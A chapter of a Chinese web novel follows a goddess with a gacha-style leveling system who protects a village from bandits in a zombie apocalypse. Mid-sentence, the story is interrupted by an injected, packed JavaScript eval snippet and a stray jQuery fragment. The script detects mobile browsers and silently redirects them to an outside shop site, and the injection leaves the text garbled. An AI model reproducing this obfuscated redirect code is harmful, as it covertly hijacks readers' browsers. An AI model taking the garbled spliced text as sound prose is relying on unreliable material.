云祈在衣帽间里足足歇了好几天。
这几日她不是听歌,就是吃水饺和汤圆,过得可松弛快乐了,就是饺子和汤圆有点吃腻了,想念起炒菜和火锅还有白乎乎的大米饭。
不过她也偶尔感应一下神海里的祈祷声,确认大石村没出什么乱子,香火值每天定时增长,因为段策和他的士兵缘故,增长速度倒是比以往快一点。
睡醒之后,她伸了个懒腰,点开光屏查看最新数据。
【上香人数次数总共180次,获得香火值180点。】
【贡品转换成功,获得100点。】
【总计获得280点香火值,目前香火值1150/1000。】
【香火值已达到1150/1000,符合升级条件,是否升级?】
云祈眼睛一亮,毫不犹豫地选了“是”。
【叮——升级成功,目前香火LV3,开启精英卡池。】
【离香火LV3等级还需150/10000。】
【是否查看精英卡池抽卡规则?】
精英卡池!云祈本以为还是体力增长,没想到会出现这样的惊喜,连忙说:“是。”
光屏上浮现出一行新的文字:
【精英卡池抽卡规则:100香火值一抽,1000香火值10连抽,十连抽保底一张SSR卡。】
【精英卡池几率:SR卡90%,SSR卡9.8%,SSSR卡0.2%。】
云祈盯着那几行字看了好一会儿,眼睛越睁越大。
十连抽保底一张SSR卡?
她之前抽了那么多次普通卡池,就抽到了一张SSR!可见系统有多么抠门!现在精英卡池居然给她保底SSR,甚至还可能有SSSR?
赚翻了!
她激动得差点跳起来,但很快又冷静下来。
她看了一眼自己的香火值,升级后只剩下140点。单抽一次要100点,抽一次倒是抽得起,但不划算,很容易抽到重复的卡片,可十连抽要1000点,她还差得远。
“算了,攒着吧。”云祈嘀咕了一声,“反正精英卡池又不会跑,等香火值攒够了,直接来一发十连抽,稳拿一张SSR不香吗?。
想到总有一天自己的衣柜满满当当的全是SSR和SSSR,她就幸福得不行,到时候别说几百个丧尸了,就算是满世界的丧尸都不再话下,一想到丧尸见到自己就吓得哐哐撞大墙,云祈就忍不住得意地哈哈大笑起来。
自娱自乐完了,心情大好,她关闭光屏,准备去大石村看看,现在是初期阶段,总出现不好,总不出现也不好,刷刷存在感吧。
换上【立春.纸鸢】,白光一闪,出现在大石村上空。
刚一现身,她就愣住了。
仅仅几日,大石村的变化极大。
村口的围墙被加高了一大截,墙头上插着削尖的木桩,看着比之前结实了不止一倍。
原本驻扎在村口的营帐不见了,段策和士兵们也不见踪影,取而代之的是几间新搭起来的棚屋,虽然简陋,但遮风挡雨不成问题。
她飞到了神女观附近,更是吃了一惊。
神女观被修缮过了,屋顶上的茅草换成了瓦片,墙壁被重新加固,门口还多了一块像模像样的木匾,上面刻着“神女观”三个字,字迹锋利隐隐透着杀意,显然是段策的手笔。
最让她惊讶的是田地。
那些被她净化过的五十亩地,如今已经全部种上了庄稼,嫩绿的秧苗在阳光下泛着油亮的光泽,有些长得快的菜已经冒出了好几片叶子,在微风中来来回回地摇晃。
田埂上还开了几垄菜地,种着一些瓜果蔬菜,虽然还没长成,但已经有了几分生机勃勃的样子。
云祈的心情就好像看见自己养的小人,从贫穷到小康,越来越好,非常的有成就感。
但她却发现了一个问题,村子里的人呢?
田地里没人,神女观里没人,连村口那些新搭的棚屋都是空的,整个村子静悄悄的,像是所有人都突然消失了一样。
云祈皱了皱眉,催动[乘风],又在村子里快速飞了一圈,终于在村子里较为偏僻的茅草屋那发现了一堆人。
一大群人围在一起,隐约能看见中间有人在激烈地扭动,段策和他手下的士兵们正死死压着几个人,将他们按在地上动弹不得,旁边还蹲着十几个被绳子捆住手脚的人,一个个垂头丧气,满脸灰败。
平燕站在村长身边,脸色不太好看,手里攥着一根木棍。
而村长被几个村民挡在身后,正一脸愤怒地指着另一个陌生老头怒斥着什么,要不是被村民们阻拦,那拳头都快招呼到那陌生老头的脸上了。
云祈没有细想,直接从空中落了下去。
白光一闪,她出现在人群中央。
村民们先是一愣,随即哗啦啦跪了一地,激动的声音此起彼伏:“神女!神女来了!”
“神女显灵了!”
正准备对压制住的歹人逼供的段策一愣,身边士兵的话惊醒了他:“将军,是那位……”
他知道……他怎么可能忘记……因为若不是她,他早已经死在丧尸堆里。
所以他回过神来,立马单膝下跪,抱拳行礼:“段某,感激神女此前救命以及接纳之恩。”
身后的士兵也跟上来连连下跪。
面对神仙,又是救过他们的神仙,他们打心底是敬佩的。
云祈的目光却是落在被压制的那几人身上,和普通村民不同,那几个人都是身强力壮的人,而且面色不善,身上还有淡淡的血腥味。
她皱了皱眉头,看向段策,想必若不是段策在这里,这些歹人早已经对大石村的村民动手了。
所以她问段策:“怎么回事?”
段策言简意赅,直接了明:“他们是土匪,段某杀敌清剿土匪多年,一眼便看出他们并非普通村民,而是杀人劫货的土匪!”
云祈微微抬眸,声音淡淡,无人能听出神的意思,只听她说道:“怎么混进来的?”
“神女娘娘……”是村长,他年迈的身姿看得云祈心里哆嗦,就怕他激动得一口气喘不上来两眼一翻。
“你说,说重点。”云祈道。
村长自是不敢违背神意,简单把整个事件交代清楚:“是大河村的人带过来的。”
原来刚才村长怒骂的陌生老头就是大河村的村长,和大石村的村长本是一个祖宗,两人关系在末日之前都非常要好,经常互相来往。
所以自从山林那边的丧尸被云祈清得差不多的时候,在山林另一边的大河村就带人过来投奔大石村。
村长没有多想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17779154|210067||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,便接纳了他们,这一幕却被段策发现,段策发现大河村村长带过来的人并非普通村民,而是杀过人的土匪,所以未等他们打探出什么和动手之前便将土匪控制住了。
大河村村长见状才哭诉是土匪逼迫他们的,不然就要杀了他们大河村所有人。
村长听了之后气得胡子都吹起来了,当场怒骂起来:“你们大河村的村民是人,我们大石村的村民就不是人了吗?这些土匪多么残忍,他又不是不知道,将土匪带入我们大石村内,到时候大石村的村民下场可想而知!”
大河村村长自知理亏,就任由着挨骂,大石村村民怕村长闪着腰,就拦着村长,所以云祈就看到了这样的场面。
“……”真是格外精彩,还好有段策在这里,也算避开了一个劫难,云祈心里松了一口气。
她看向被压制住的土匪头子,忽然想起了什么:“五日前傍晚,你的同伴发射了信号弹,你是跟踪信号弹来到此地的?”
话音一落,那土匪头子抬起头,看了云祈一眼,忽然瞳孔猛地一缩。
“你……你是谁……?我的同伴呢!”他还想挣扎,大石村的村民一个铁锅盖上去,大吼:“对神女尊重一点!”
村长跪在地面颤抖着声音说:“神女恕罪。”
云祈淡淡说道:“无事。”
被一铁锅盖头,那土匪脑袋还嗡嗡作响,便听到了让他晴天霹雳的话:“你的同伴都被我杀了,现在我去处理大河村剩余的土匪,这些土匪就交给你们处理了。”
段策心里对神女的印象再次推翻,他原本以为,在高高在上的神心里,无论是好人还是坏人,都是一样的,毕竟神都讲究众生平等。可是似乎这位神女不同,她爱恨分明,对待土匪和普通人的手段完全不一样。
他看着云祈袖手一挥,留下淡淡的清风,便凭空踏起,飞入天空,直至远去,不见身影,才缓缓回过神来。
云祈穿过北面黑山林,又飞了几公里,才终于看见了一个小小的村庄,远比大石村要小上三分之二,她并没有立即出现,而是先观察片刻。
发现大河村情况惨不忍睹,相比较之下,大石村被她保护得太好了。
村口只用了几根粗木桩和大石头胡乱搭了一道围栏,村子里的房屋大多破败不堪,满是黑色的碎片不知道是垃圾还是……
最重要的是,这里最多只剩下三四十个村民,这些人都瘦得只剩下皮包骨,面黄肌瘦,身上的衣服破烂脏,眼神空洞麻木,动作迟缓,像是一具具行尸走肉。
而在这片破败之中,有一群人显得格外扎眼。
他们大约也有三四十个,个个手边放着兵器,穿着虽然也不干净,但比那些村民要好得多。
他们三三两两地坐在板凳上,由这些害怕的村民伺候着喝酒,神态悠然,完全不把那些村民放在眼里,一个不顺心就是一脚踹开,被踹开几米的村民不敢发声,疼得冷汗都冒出来了还忍着痛爬起来继续伺候。
见此他们还哈哈大笑。
“看看他们,喂给活死人吃还不够塞牙缝呢。”
“到时候等老大解决了大石村,我们再把这群猴子带上,若是遇上了活死人,就把他们丢下引开活死人。”
“我看行!就不用以前那么麻烦砍下断肢了。”
说罢,再次一阵哈哈大笑。